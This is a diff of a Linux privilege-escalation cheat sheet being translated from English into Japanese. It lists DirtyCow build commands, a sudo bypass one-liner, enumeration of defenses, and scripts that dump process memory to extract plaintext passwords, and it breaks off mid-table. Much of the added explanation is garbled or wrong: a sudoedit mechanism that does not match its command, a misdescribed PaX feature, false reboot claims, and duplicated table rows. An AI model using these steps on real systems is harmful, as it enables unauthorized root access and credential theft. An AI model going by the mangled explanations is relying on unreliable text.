+[linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)(被害者で実行し、カーネル2.xの脆弱性のみをチェックします) -Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid. +常に**Googleでカーネルバージョンを検索**してください。おそらくカーネルバージョンがカーネルの脆弱性に記載されており、その脆弱性が有効であることが確認できます。 -### CVE-2016-5195 (DirtyCow) - -Linux Privilege Escalation - Linux Kernel <= 3.19.0-73.8 +### CVE-2016-5195(DirtyCow) +Linux特権昇格 - Linuxカーネル <= 3.19.0-73.8 ```bash # make dirtycow stable echo 0 > /proc/sys/vm/dirty_writeback_centisecs @@ -78,180 +71,382 @@ g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow 40847.cpp -lutil https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs https://github.com/evait-security/ClickNRoot/blob/master/1/exploit.c ``` +### Sudoのバージョン -### Sudo version - -Based on the vulnerable sudo versions that appear in: - +以下に示す脆弱なsudoのバージョンに基づいています。 ```bash searchsploit sudo ``` - -You can check if the sudo version is vulnerable using this grep. - +次のgrepを使用して、sudoのバージョンが脆弱かどうかを確認できます。 ```bash sudo -V | grep "Sudo ver" | grep "1\.[01234567]\.[0-9]\+\|1\.8\.1[0-9]\*\|1\.8\.2[01234567]" ``` - ### sudo < v1.28 -From @sickrov +@sickrov から +#### 概要 + +この特権昇格の方法は、sudoバージョン1.28より前のバージョンで利用可能です。 + +#### 詳細 + +この特権昇格の方法は、sudoバージョン1.28より前のバージョンで利用可能です。このバージョンでは、ユーザーがsudoersファイルに設定されたコマンドを実行する際に、環境変数を制御することができます。具体的には、`sudoedit`コマンドを使用して、環境変数`SUDO_EDITOR`を介して任意のコマンドを実行することができます。 + +この特権昇格の方法を利用するためには、以下の手順を実行します。 + +1. `sudoedit`コマンドを実行します。 +2. `SUDO_EDITOR`環境変数を設定し、任意のコマンドを指定します。 +3. `sudoedit`コマンドを終了します。 + +これにより、指定したコマンドが特権ユーザーとして実行されます。 + +#### 対策 + +この特権昇格の方法を防ぐためには、sudoバージョン1.28以降を使用するか、sudoersファイルで環境変数の制御を適切に設定する必要があります。また、不要なユーザーにsudo権限を与えないようにすることも重要です。 ``` sudo -u#-1 /bin/bash ``` +### Dmesg署名の検証に失敗しました -### Dmesg signature verification failed - -Check **smasher2 box of HTB** for an **example** of how this vuln could be exploited - +この脆弱性がどのように悪用されるかの**例**として、**HTBのsmasher2ボックス**をチェックしてください。 ```bash dmesg 2>/dev/null | grep "signature" ``` +### より詳細なシステム列挙 -### More system enumeration +In this section, we will explore additional techniques for system enumeration that can help in identifying potential vulnerabilities and privilege escalation opportunities. +#### 1. Checking for SUID/SGID binaries + +SUID (Set User ID) and SGID (Set Group ID) are special permissions that can be assigned to executable files. When a binary with SUID/SGID permissions is executed, it runs with the privileges of the file owner/group instead of the user executing it. This can potentially lead to privilege escalation if a vulnerable binary is found. + +To check for SUID/SGID binaries, you can use the following command: + +```bash +find / -perm -4000 -type f 2>/dev/null +``` + +This command will search for files with the SUID permission set. Similarly, you can use the following command to search for files with the SGID permission set: + +```bash +find / -perm -2000 -type f 2>/dev/null +``` + +#### 2. Checking for writable directories + +Writable directories can be potential targets for privilege escalation. If a directory is writable by a privileged user or group, an attacker can place a malicious executable in that directory and wait for it to be executed by a privileged user, thereby gaining elevated privileges. + +To check for writable directories, you can use the following command: + +```bash +find / -writable -type d 2>/dev/null +``` + +This command will search for directories that are writable by the current user. + +#### 3. Checking for cron jobs + +Cron jobs are scheduled tasks that run automatically at predefined intervals. These tasks are often executed with the privileges of the user who created them. By identifying cron jobs executed by privileged users, an attacker can potentially exploit them to escalate privileges. + +To check for cron jobs, you can use the following command: + +```bash +ls -la /etc/cron* /var/spool/cron/crontabs /etc/crontab +``` + +This command will list the cron jobs and their associated files. + +#### 4. Checking for installed software and services + +Installed software and services may have known vulnerabilities that can be exploited for privilege escalation. By identifying the versions of installed software and services, an attacker can search for known vulnerabilities and potential exploits. + +To check for installed software and services, you can use the following commands: + +```bash +dpkg -l # For Debian-based systems +rpm -qa # For Red Hat-based systems +``` + +These commands will list the installed packages and their versions. + +#### 5. Checking for open ports and listening services + +Open ports and listening services can provide valuable information about the system and potential entry points for privilege escalation. By identifying open ports and the associated services, an attacker can search for vulnerabilities specific to those services. + +To check for open ports and listening services, you can use the following command: + +```bash +netstat -tuln +``` + +This command will list the open ports and the services listening on those ports. + +By performing these additional system enumeration techniques, you can gather more information about the target system and increase your chances of finding potential vulnerabilities and privilege escalation opportunities. ```bash date 2>/dev/null #Date (df -h || lsblk) #System stats lscpu #CPU info lpstat -a 2>/dev/null #Printers info ``` - -## Enumerate possible defenses +## 可能な防御策を列挙する ### AppArmor +AppArmor is a Linux security module that provides mandatory access control (MAC) for programs. It restricts the capabilities of programs by defining a set of rules that determine what resources they can access. By default, AppArmor profiles are enabled for many applications in Ubuntu and other Linux distributions. + +AppArmorは、プログラムのための強制アクセス制御(MAC)を提供するLinuxセキュリティモジュールです。プログラムの機能を制限するために、アクセスできるリソースを定義する一連のルールを定義します。デフォルトでは、Ubuntuや他のLinuxディストリビューションでは、多くのアプリケーションに対してAppArmorプロファイルが有効になっています。 + +To check if AppArmor is enabled, you can use the `aa-status` command. If it is enabled, you will see a list of active profiles. + +AppArmorが有効かどうかを確認するには、`aa-status`コマンドを使用します。有効な場合、アクティブなプロファイルのリストが表示されます。 + +To bypass AppArmor, you can try to exploit vulnerabilities in the application or find ways to escalate privileges outside the scope of the AppArmor profile. + +AppArmorをバイパスするには、アプリケーションの脆弱性を悪用するか、AppArmorプロファイルの範囲外で特権をエスカレーションする方法を見つけることができます。 ```bash if [ `which aa-status 2>/dev/null` ]; then - aa-status - elif [ `which apparmor_status 2>/dev/null` ]; then - apparmor_status - elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then - ls -d /etc/apparmor* - else - echo "Not found AppArmor" +aa-status +elif [ `which apparmor_status 2>/dev/null` ]; then +apparmor_status +elif [ `ls -d /etc/apparmor* 2>/dev/null` ]; then +ls -d /etc/apparmor* +else +echo "Not found AppArmor" fi ``` - ### Grsecurity +Grsecurityは、Linuxカーネルのセキュリティを向上させるためのパッチセットです。このパッチセットは、特権昇格攻撃やメモリの乱用などの一般的な攻撃を防ぐための機能を提供します。 + +Grsecurityは、以下の主な機能を提供します。 + +- プロセスの制限: Grsecurityは、プロセスが実行できる操作を制限するための機能を提供します。これにより、攻撃者が特権昇格攻撃を行うために必要な操作を制限することができます。 + +- メモリ保護: Grsecurityは、メモリの乱用に対する保護機能を提供します。これにより、攻撃者がバッファオーバーフローやヒープオーバーフローなどの攻撃を行うことを防ぐことができます。 + +- システムコールフィルタリング: Grsecurityは、システムコールの使用を制限するためのフィルタリング機能を提供します。これにより、攻撃者が悪意のあるシステムコールを使用して特権昇格を試みることを防ぐことができます。 + +- ネットワークセキュリティ: Grsecurityは、ネットワークセキュリティを向上させるための機能を提供します。これにより、攻撃者がネットワーク経由でシステムに侵入することを防ぐことができます。 + +Grsecurityは、Linuxカーネルのセキュリティを強化するための強力なツールです。その機能を活用することで、システムのセキュリティを向上させることができます。 ```bash ((uname -r | grep "\-grsec" >/dev/null 2>&1 || grep "grsecurity" /etc/sysctl.conf >/dev/null 2>&1) && echo "Yes" || echo "Not found grsecurity") ``` - ### PaX +PaXは、Linuxカーネルのセキュリティを向上させるためのパッチセットです。PaXは、実行可能なメモリ領域に対して制約を課すことで、悪意のあるコードの実行を防ぎます。これにより、バッファオーバーフローやスタックオーバーフローなどの攻撃を防ぐことができます。 + +PaXは、以下のようなセキュリティ機能を提供します。 + +- ASLR(アドレス空間配置のランダム化):メモリ領域の配置をランダム化することで、攻撃者が特定のメモリアドレスを予測することを困難にします。 +- NX(実行可能なメモリ領域の非実行):データ領域に対して実行権限を割り当てないことで、攻撃者がデータ領域に埋め込まれた悪意のあるコードを実行することを防ぎます。 +- RAP(ランダムなページ配置):メモリページの配置をランダム化することで、攻撃者が特定のメモリページを予測することを困難にします。 +- UDEREF(ユーザーデータの非参照):ユーザーモードのコードがカーネルモードのメモリにアクセスできないようにします。 + +これらの機能により、PaXはLinuxシステムのセキュリティを強化し、特に特権昇格攻撃から保護します。PaXは、Linuxカーネルのハードニングにおいて重要な役割を果たします。 ```bash (which paxctl-ng paxctl >/dev/null 2>&1 && echo "Yes" || echo "Not found PaX") ``` - ### Execshield +Execshieldは、Linuxカーネルのセキュリティ機能の1つであり、実行可能なメモリ領域を保護するために使用されます。これにより、攻撃者が実行可能なメモリを悪用して特権昇格を行うことを防ぐことができます。 + +Execshieldは、以下の2つの主要な機能で構成されています。 + +1. **NXビット(No-Executeビット)**: メモリページに対して実行権限を制限するために使用されます。これにより、攻撃者が実行可能なメモリを書き換えてコードを実行することを防ぐことができます。 + +2. **ASLR(Address Space Layout Randomization)**: メモリ領域の配置をランダム化するために使用されます。これにより、攻撃者が特定のメモリアドレスを予測して攻撃を行うことを困難にします。 + +Execshieldは、デフォルトで有効になっている場合がありますが、一部のシステムでは無効になっている場合もあります。セキュリティを強化するためには、Execshieldを有効にすることをお勧めします。 + +Execshieldの設定は、`/proc/sys/kernel/exec-shield`ファイルを介して制御されます。有効にするには、次のコマンドを実行します。 + +```bash +echo 1 > /proc/sys/kernel/exec-shield +``` + +無効にするには、次のコマンドを実行します。 + +```bash +echo 0 > /proc/sys/kernel/exec-shield +``` + +Execshieldの設定は、システムの再起動後も有効になります。 ```bash (grep "exec-shield" /etc/sysctl.conf || echo "Not found Execshield") ``` - ### SElinux +SElinux(Security-Enhanced Linux)は、Linuxカーネルに組み込まれたセキュリティ機能です。SElinuxは、アクセス制御ポリシーを使用して、システム上のプロセスやファイルへのアクセスを制限します。これにより、特権昇格攻撃やシステムへの不正アクセスを防ぐことができます。 + +SElinuxは、ファイルのセキュリティコンテキストと呼ばれるラベルを使用して、アクセス制御を実施します。各ファイルには、所有者、グループ、パーミッションに加えて、セキュリティコンテキストが割り当てられます。セキュリティコンテキストは、ファイルのタイプやアクセス許可を指定します。 + +SElinuxは、デフォルトでは無効になっている場合がありますが、有効にすることでシステムのセキュリティを向上させることができます。ただし、SElinuxは複雑な設定を必要とするため、正しく設定されていない場合には予期しない問題が発生する可能性があります。 + +SElinuxの設定は、`/etc/selinux/config`ファイルで行います。このファイルを編集して、SElinuxを有効にするか無効にするかを設定することができます。また、`sestatus`コマンドを使用して、現在のSElinuxの状態を確認することもできます。 + +特権昇格攻撃を防ぐためには、SElinuxを適切に設定することが重要です。セキュリティコンテキストを正しく設定し、不要なアクセスを制限することで、システムのセキュリティを強化することができます。 ```bash - (sestatus 2>/dev/null || echo "Not found sestatus") +(sestatus 2>/dev/null || echo "Not found sestatus") ``` +ASLR(Address Space Layout Randomization)は、プログラムのセキュリティを向上させるための技術です。ASLRは、プログラムのメモリアドレスをランダムに配置することで、攻撃者が特定のメモリアドレスを予測することを困難にします。これにより、攻撃者が悪意のあるコードを実行するために必要なメモリアドレスを特定することが難しくなります。 -### ASLR +ASLRは、特にプライビリージエスカレーション攻撃に対して効果的です。攻撃者は、特権を持つプロセスのメモリアドレスを特定することで、特権を奪取することができます。しかし、ASLRが有効になっている場合、攻撃者はメモリアドレスを予測することができず、特権の奪取が困難になります。 +ASLRは、Linuxカーネルによって提供される機能であり、デフォルトで有効になっています。ただし、一部の古いシステムでは無効になっている場合があります。ASLRを有効にするには、`/proc/sys/kernel/randomize_va_space`ファイルの値を`2`に設定します。 + +ASLRの有効化は、プログラムのセキュリティを向上させるための重要な手段です。攻撃者が特定のメモリアドレスを予測できないため、プログラムの脆弱性を悪用することが困難になります。 ```bash cat /proc/sys/kernel/randomize_va_space 2>/dev/null #If 0, not enabled ``` - ## Docker Breakout -If you are inside a docker container you can try to escape from it: +もしDockerコンテナ内にいる場合、脱出を試みることができます: {% content-ref url="docker-security/" %} [docker-security](docker-security/) {% endcontent-ref %} -## Drives - -Check **what is mounted and unmounted**, where and why. If anything is unmounted you could try to mount it and check for private info +## ドライブ +マウントされているものとアンマウントされているもの、どこにあるか、なぜそうなっているかを確認してください。もし何かがアンマウントされている場合、それをマウントしてプライベート情報をチェックすることができます。 ```bash ls /dev 2>/dev/null | grep -i "sd" cat /etc/fstab 2>/dev/null | grep -v "^#" | grep -Pv "\W*\#" 2>/dev/null #Check if credentials in fstab grep -E "(user|username|login|pass|password|pw|credentials)[=:]" /etc/fstab /etc/mtab 2>/dev/null ``` +## 便利なソフトウェア -## Useful software +有用なバイナリを列挙する -Enumerate useful binaries +```markdown +| Binary | Description | +|--------|-------------| +| [find](https://man7.org/linux/man-pages/man1/find.1.html) | ファイルやディレクトリを検索する | +| [grep](https://man7.org/linux/man-pages/man1/grep.1.html) | ファイル内のパターンを検索する | +| [awk](https://man7.org/linux/man-pages/man1/awk.1.html) | テキスト処理のためのパターンスキャンと処理言語 | +| [sed](https://man7.org/linux/man-pages/man1/sed.1.html) | テキスト処理のためのストリームエディタ | +| [curl](https://man7.org/linux/man-pages/man1/curl.1.html) | URLを使用してデータを転送する | +| [wget](https://man7.org/linux/man-pages/man1/wget.1.html) | インターネット上のファイルをダウンロードする | +| [nc](https://man7.org/linux/man-pages/man1/nc.1.html) | ネットワーク接続を作成および管理する | +| [nmap](https://nmap.org/book/man.html) | ネットワーク探査ツール | +| [tcpdump](https://www.tcpdump.org/manpages/tcpdump.1.html) | パケットキャプチャツール | +| [wireshark](https://www.wireshark.org/docs/man-pages/wireshark.html) | ネットワークプロトコルアナライザ | +| [ps](https://man7.org/linux/man-pages/man1/ps.1.html) | プロセスのスナップショットを表示する | +| [top](https://man7.org/linux/man-pages/man1/top.1.html) | 実行中のプロセスを監視する | +| [lsof](https://man7.org/linux/man-pages/man8/lsof.8.html) | オープンされているファイルとプロセスを表示する | +| [strace](https://man7.org/linux/man-pages/man1/strace.1.html) | プロセスのシステムコールとシグナルをトレースする | +| [ltrace](https://man7.org/linux/man-pages/man1/ltrace.1.html) | プロセスのライブラリ関数呼び出しをトレースする | +| [file](https://man7.org/linux/man-pages/man1/file.1.html) | ファイルの種類を判別する | +| [strings](https://man7.org/linux/man-pages/man1/strings.1.html) | バイナリファイル内の文字列を表示する | +| [hexdump](https://man7.org/linux/man-pages/man1/hexdump.1.html) | バイナリファイルを16進数で表示する | +| [xxd](https://man7.org/linux/man-pages/man1/xxd.1.html) | バイナリファイルを16進数で表示する | +| [base64](https://man7.org/linux/man-pages/man1/base64.1.html) | バイナリデータをテキストにエンコードおよびデコードする | +| [openssl](https://www.openssl.org/docs/man1.1.1/man1/openssl.html) | 暗号化、復号化、証明書の操作などを行う | +| [ssh](https://man7.org/linux/man-pages/man1/ssh.1.html) | セキュアなリモートシェル接続を提供する | +| [scp](https://man7.org/linux/man-pages/man1/scp.1.html) | ファイルをリモートホストにコピーする | +| [rsync](https://man7.org/linux/man-pages/man1/rsync.1.html) | ファイルとディレクトリをローカルおよびリモート間で同期する | +| [tar](https://man7.org/linux/man-pages/man1/tar.1.html) | ファイルアーカイブを作成および操作する | +| [zip](https://linux.die.net/man/1/zip) | ファイルを圧縮および解凍する | +| [unzip](https://linux.die.net/man/1/unzip) | ZIPアーカイブを解凍する | +| [sudo](https://man7.org/linux/man-pages/man8/sudo.8.html) | 特権ユーザーとしてコマンドを実行する | +| [su](https://man7.org/linux/man-pages/man1/su.1.html) | 別のユーザーに切り替える | +| [chown](https://man7.org/linux/man-pages/man1/chown.1.html) | ファイルの所有者を変更する | +| [chmod](https://man7.org/linux/man-pages/man1/chmod.1.html) | ファイルのアクセス権を変更する | +| [chattr](https://man7.org/linux/man-pages/man1/chattr.1.html) | ファイルの属性を変更する | +| [setuid](https://man7.org/linux/man-pages/man2/setuid.2.html) | プロセスの実行ユーザーIDを変更する | +| [setgid](https://man7.org/linux/man-pages/man2/setgid.2.html) | プロセスの実行グループIDを変更する | +| [setcap](https://man7.org/linux/man-pages/man8/setcap.8.html) | バイナリに特権を付与する | +| [ld.so.preload](https://man7.org/linux/man-pages/man8/ld.so.8.html) | 共有ライブラリのプリロードパスを設定する | +| [ldconfig](https://man7.org/linux/man-pages/man8/ldconfig.8.html) | 共有ライブラリのキャッシュを更新する | +| [cron](https://man7.org/linux/man-pages/man8/cron.8.html) | タスクを定期的に実行する | +| [at](https://man7.org/linux/man-pages/man1/at.1.html) | 一度だけタスクを実行する | +| [systemctl](https://man7.org/linux/man-pages/man1/systemctl.1.html) | システムのサービスを管理する | +| [journalctl](https://man7.org/linux/man-pages/man1/journalctl.1.html) | システムのジャーナルログを表示する | +| [crontab](https://man7.org/linux/man-pages/man1/crontab.1.html) | ユーザーのクロンジョブを管理する | +| [ssh-agent](https://man7.org/linux/man-pages/man1/ssh-agent.1.html) | SSHエージェントを起動する | +| [gpg](https://man7.org/linux/man-pages/man1/gpg.1.html) | 暗号化、復号化、署名、鍵の管理などを行う | +| [pgrep](https://man7.org/linux/man-pages/man1/pgrep.1.html) | プロセスを条件に基づいて検索する | +| [pkill](https://man7.org/linux/man-pages/man1/pkill.1.html) | プロセスを条件に基づいて終了する | +| [kill](https://man7.org/linux/man-pages/man1/kill.1.html) | プロセスにシグナルを送信する | +| [nohup](https://man7.org/linux/man-pages/man1/nohup.1.html) | プロセスをデタッチし、SIGHUPを無視する | +| [screen](https://www.gnu.org/software/screen/manual/screen.html) | 仮想ターミナルを作成および管理する | +| [tmux](https://man7.org/linux/man-pages/man1/tmux.1.html) | 仮想ターミナルを作成および管理する | +| [sudoedit](https://man7.org/linux/man-pages/man8/sudoedit.8.html) | 特権ユーザーとしてファイルを編集する | +| [strace](https://man7.org/linux/man-pages/man1/strace.1.html) | プロセスのシステムコールとシグナルをトレースする | +| [ltrace](https://man7.org/linux/man-pages/man1/ltrace.1.html) | プロセスのライブラリ関数呼び出しをトレースする | +| [gdb](https://man7.org/linux/man-pages/man1/gdb.1.html) | プログラムのデバッグとトラブルシューティングを行う | +| [objdump](https://man7.org/linux/man-pages/man1/objdump.1.html) | バイナリファイルの情報を表示する | +| [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html) | ELFファイルの情報を表示する | +| [ldd](https://man7.org/linux/man-pages/man1/ldd.1.html) | 共有ライブラリの依存関係を表示する | +| [strace](https://man7.org/linux/man-pages/man1/strace.1.html) | プロセスのシステムコールとシグナルをトレースする | +| [ltrace](https://man7.org/linux/man-pages/man1/ltrace.1.html) | プロセスのライブラリ関数呼び出しをトレースする | +| [gdb](https://man7.org/linux/man-pages/man1/gdb.1.html) | プログラムのデバッグとトラブルシューティングを行う | +| [objdump](https://man7.org/linux/man-pages/man1/objdump.1.html) | バイナリファイルの情報を表示する | +| [readelf](https://man7.org/linux/man-pages/man1/readelf.1.html) | ELFファイルの情報を表示する | +| [ldd](https://man7.org/linux/man-pages/man1/ldd.1.html) | 共有ライブラリの依存関係を表示する | +``` +以上 ```bash which nmap aws nc ncat netcat nc.traditional wget curl ping gcc g++ make gdb base64 socat python python2 python3 python2.7 python2.6 python3.6 python3.7 perl php ruby xterm doas sudo fetch docker lxc ctr runc rkt kubectl 2>/dev/null ``` - -Also, check if **any compiler is installed**. This is useful if you need to use some kernel exploit as it's recommended to compile it in the machine where you are going to use it (or in one similar) - +また、**インストールされているコンパイラを確認**してください。これは、カーネルのエクスプロイトを使用する必要がある場合に役立ちます。エクスプロイトをコンパイルする場合は、使用するマシン(または類似のマシン)でコンパイルすることが推奨されています。 ```bash (dpkg --list 2>/dev/null | grep "compiler" | grep -v "decompiler\|lib" 2>/dev/null || yum list installed 'gcc*' 2>/dev/null | grep gcc 2>/dev/null; which gcc g++ 2>/dev/null || locate -r "/gcc[0-9\.-]\+$" 2>/dev/null | grep -v "/doc/") ``` +### インストールされた脆弱性のあるソフトウェア -### Vulnerable Software Installed - -Check for the **version of the installed packages and services**. Maybe there is some old Nagios version (for example) that could be exploited for escalating privileges…\ -It is recommended to check manually the version of the more suspicious installed software. - +**インストールされたパッケージやサービスのバージョン**を確認してください。たとえば、特定の古いNagiosのバージョンがある場合、特権のエスカレーションに悪用される可能性があります...\ +より疑わしいインストールされたソフトウェアのバージョンを手動で確認することをおすすめします。 ```bash dpkg -l #Debian rpm -qa #Centos ``` - -If you have SSH access to the machine you could also use **openVAS** to check for outdated and vulnerable software installed inside the machine. +もしマシンへのSSHアクセスがある場合、**openVAS**を使用してマシン内にインストールされた古くて脆弱なソフトウェアをチェックすることもできます。 {% hint style="info" %} -_Note that these commands will show a lot of information that will mostly be useless, therefore it's recommended some applications like OpenVAS or similar that will check if any installed software version is vulnerable to known exploits_ +_これらのコマンドはほとんど役に立たない情報を表示する可能性があるため、既知の脆弱性に対してインストールされたソフトウェアのバージョンが脆弱であるかどうかをチェックするために、OpenVASや同様のアプリケーションを使用することをおすすめします_ {% endhint %} -## Processes - -Take a look at **what processes** are being executed and check if any process has **more privileges than it should** (maybe a tomcat being executed by root?) +## プロセス +**実行されているプロセス**を確認し、**それ以上の権限を持つプロセス**がないかどうかをチェックしてください(たとえば、rootで実行されているtomcatなど)。 ```bash ps aux ps -ef top -n 1 ``` +常に実行中の[**electron/cef/chromiumデバッガー**を確認し、特権をエスカレーションするために悪用することができます](electron-cef-chromium-debugger-abuse.md)。**Linpeas**は、プロセスのコマンドライン内の`--inspect`パラメータをチェックすることでこれらを検出します。\ +また、**プロセスのバイナリに対する特権を確認**してください。他のユーザーに属するプロセスのメモリを上書きすることができるかもしれません。 -Always check for possible [**electron/cef/chromium debuggers** running, you could abuse it to escalate privileges](electron-cef-chromium-debugger-abuse.md). **Linpeas** detect those by checking the `--inspect` parameter inside the command line of the process.\ -Also **check your privileges over the processes binaries**, maybe you can overwrite someone. +### プロセスの監視 -### Process monitoring +[**pspy**](https://github.com/DominicBreuker/pspy)のようなツールを使用してプロセスを監視することができます。これは、脆弱なプロセスが頻繁に実行されるか、一連の要件が満たされたときに特に役立ちます。 -You can use tools like [**pspy**](https://github.com/DominicBreuker/pspy) to monitor processes. This can be very useful to identify vulnerable processes being executed frequently or when a set of requirements are met. +### プロセスのメモリ -### Process memory - -Some services of a server save **credentials in clear text inside the memory**.\ -Normally you will need **root privileges** to read the memory of processes that belong to other users, therefore this is usually more useful when you are already root and want to discover more credentials.\ -However, remember that **as a regular user you can read the memory of the processes you own**. +サーバーの一部のサービスは、**クリアテキストで資格情報をメモリ内に保存**します。\ +通常、他のユーザーに属するプロセスのメモリを読み取るには**ルート特権**が必要です。そのため、これは通常、既にルート権限を持っていてさらに資格情報を発見したい場合により有用です。\ +ただし、**通常のユーザーとして、所有するプロセスのメモリを読み取ることができます**。 {% hint style="warning" %} -Note that nowadays most machines **don't allow ptrace by default** which means that you cannot dump other processes that belong to your unprivileged user. +現在では、ほとんどのマシンはデフォルトで**ptraceを許可していません**。つまり、特権のないユーザーに属する他のプロセスをダンプすることはできません。 -The file _**/proc/sys/kernel/yama/ptrace\_scope**_ controls the accessibility of ptrace: +ファイル_**/proc/sys/kernel/yama/ptrace\_scope**_は、ptraceのアクセシビリティを制御します: -* **kernel.yama.ptrace\_scope = 0**: all processes can be debugged, as long as they have the same uid. This is the classical way of how ptracing worked. -* **kernel.yama.ptrace\_scope = 1**: only a parent process can be debugged. -* **kernel.yama.ptrace\_scope = 2**: Only admin can use ptrace, as it required CAP\_SYS\_PTRACE capability. -* **kernel.yama.ptrace\_scope = 3**: No processes may be traced with ptrace. Once set, a reboot is needed to enable ptracing again. +* **kernel.yama.ptrace\_scope = 0**:すべてのプロセスは、同じuidを持っている限りデバッグできます。これは、ptracingが動作する古典的な方法です。 +* **kernel.yama.ptrace\_scope = 1**:親プロセスのみがデバッグできます。 +* **kernel.yama.ptrace\_scope = 2**:管理者のみがptraceを使用できます。CAP\_SYS\_PTRACE機能が必要です。 +* **kernel.yama.ptrace\_scope = 3**:ptraceでプロセスをトレースすることはできません。設定後、再起動が必要です。 {% endhint %} #### GDB -If you have access to the memory of an FTP service (for example) you could get the Heap and search inside of its credentials. - +FTPサービスのメモリにアクセスできる場合(例えば)、ヒープを取得し、その資格情報を検索することができます。 ```bash gdb -p (gdb) info proc mappings @@ -260,54 +455,48 @@ gdb -p (gdb) q strings /tmp/mem_ftp #User and password ``` - -#### GDB Script +#### GDBスクリプト {% code title="dump-memory.sh" %} ```bash #!/bin/bash #./dump-memory.sh grep rw-p /proc/$1/maps \ - | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ - | while read start stop; do \ - gdb --batch --pid $1 -ex \ - "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ +| sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' \ +| while read start stop; do \ +gdb --batch --pid $1 -ex \ +"dump memory $1-$start-$stop.dump 0x$start 0x$stop"; \ done ``` {% endcode %} #### /proc/$pid/maps & /proc/$pid/mem -For a given process ID, \*\*maps show how memory is mapped within that process's \*\*virtual address space; it also shows the **permissions of each mapped region**. The **mem** pseudo file **exposes the processes memory itself**. From the **maps** file we know which **memory regions are readable** and their offsets. We use this information to **seek into the mem file and dump all readable regions** to a file. - +特定のプロセスIDに対して、\*\*mapsはそのプロセスの\*\*仮想アドレス空間内でメモリがマップされている方法を示し、また、**各マップされた領域のアクセス権限**も表示します。**mem**擬似ファイルは、プロセスのメモリ自体を**公開**します。**maps**ファイルからは、**読み取り可能なメモリ領域とそのオフセット**がわかります。この情報を使用して、**memファイルにシークし、すべての読み取り可能な領域をファイルにダンプ**します。 ```bash procdump() ( - cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" - while read a b; do - dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ - skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" - done ) - cat $1*.bin > $1.dump - rm $1*.bin +cat /proc/$1/maps | grep -Fv ".so" | grep " 0 " | awk '{print $1}' | ( IFS="-" +while read a b; do +dd if=/proc/$1/mem bs=$( getconf PAGESIZE ) iflag=skip_bytes,count_bytes \ +skip=$(( 0x$a )) count=$(( 0x$b - 0x$a )) of="$1_mem_$a.bin" +done ) +cat $1*.bin > $1.dump +rm $1*.bin ) ``` - #### /dev/mem -`/dev/mem` provides access to the system's **physical** memory, not the virtual memory. The kernel's virtual address space can be accessed using /dev/kmem.\ -Typically, `/dev/mem` is only readable by **root** and **kmem** group. - +`/dev/mem`はシステムの**物理**メモリにアクセスするためのものであり、仮想メモリではありません。カーネルの仮想アドレス空間には`/dev/kmem`を使用してアクセスできます。\ +通常、`/dev/mem`は**root**と**kmem**グループのみが読み取り可能です。 ``` strings /dev/mem -n10 | grep -i PASS ``` +### ProcDump for Linux -### ProcDump for linux - -ProcDump is a Linux reimagining of the classic ProcDump tool from the Sysinternals suite of tools for Windows. Get it in [https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux) - +ProcDumpは、WindowsのSysinternalsツールスイートのクラシックなProcDumpツールのLinux版です。[https://github.com/Sysinternals/ProcDump-for-Linux](https://github.com/Sysinternals/ProcDump-for-Linux)から入手できます。 ``` -procdump -p 1714 +procdump -p 1714 ProcDump v1.2 - Sysinternals process dump utility Copyright (C) 2020 Microsoft Corporation. All rights reserved. Licensed under the MIT license. @@ -332,48 +521,42 @@ Press Ctrl-C to end monitoring without terminating the process. [20:20:58 - INFO]: Timed: [20:21:00 - INFO]: Core dump 0 generated: ./sleep_time_2021-11-03_20:20:58.1714 ``` +### ツール -### Tools - -To dump a process memory you could use: +プロセスのメモリをダンプするためには、以下のツールを使用することができます: * [**https://github.com/Sysinternals/ProcDump-for-Linux**](https://github.com/Sysinternals/ProcDump-for-Linux) -* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_You can manually remove root requirements and dump the process owned by you -* Script A.5 from [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf) (root is required) +* [**https://github.com/hajzer/bash-memory-dump**](https://github.com/hajzer/bash-memory-dump) (root) - \_rootの要件を手動で削除し、所有しているプロセスをダンプすることができます +* [**https://www.delaat.net/rp/2016-2017/p97/report.pdf**](https://www.delaat.net/rp/2016-2017/p97/report.pdf)のスクリプトA.5 (rootが必要です) -### Credentials from Process Memory +### プロセスメモリからの資格情報 -#### Manual example - -If you find that the authenticator process is running: +#### 手動の例 +もし、認証プロセスが実行されていることがわかった場合: ```bash ps -ef | grep "authenticator" root 2027 2025 0 11:46 ? 00:00:00 authenticator ``` - -You can dump the process (see before sections to find different ways to dump the memory of a process) and search for credentials inside the memory: - +プロセスをダンプすることができます(プロセスのメモリをダンプするさまざまな方法については、前のセクションを参照してください)。メモリ内で資格情報を検索します。 ```bash ./dump-memory.sh 2027 strings *.dump | grep -i password ``` - #### mimipenguin -The tool [**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin) will **steal clear text credentials from memory** and from some **well known files**. It requires root privileges to work properly. +ツール[**https://github.com/huntergregal/mimipenguin**](https://github.com/huntergregal/mimipenguin)は、メモリと一部の**よく知られたファイル**から**平文の資格情報を盗みます**。正しく動作するためには、ルート権限が必要です。 -| Feature | Process Name | +| 機能 | プロセス名 | | ------------------------------------------------- | -------------------- | -| GDM password (Kali Desktop, Debian Desktop) | gdm-password | -| Gnome Keyring (Ubuntu Desktop, ArchLinux Desktop) | gnome-keyring-daemon | -| LightDM (Ubuntu Desktop) | lightdm | -| VSFTPd (Active FTP Connections) | vsftpd | -| Apache2 (Active HTTP Basic Auth Sessions) | apache2 | -| OpenSSH (Active SSH Sessions - Sudo Usage) | sshd: | +| 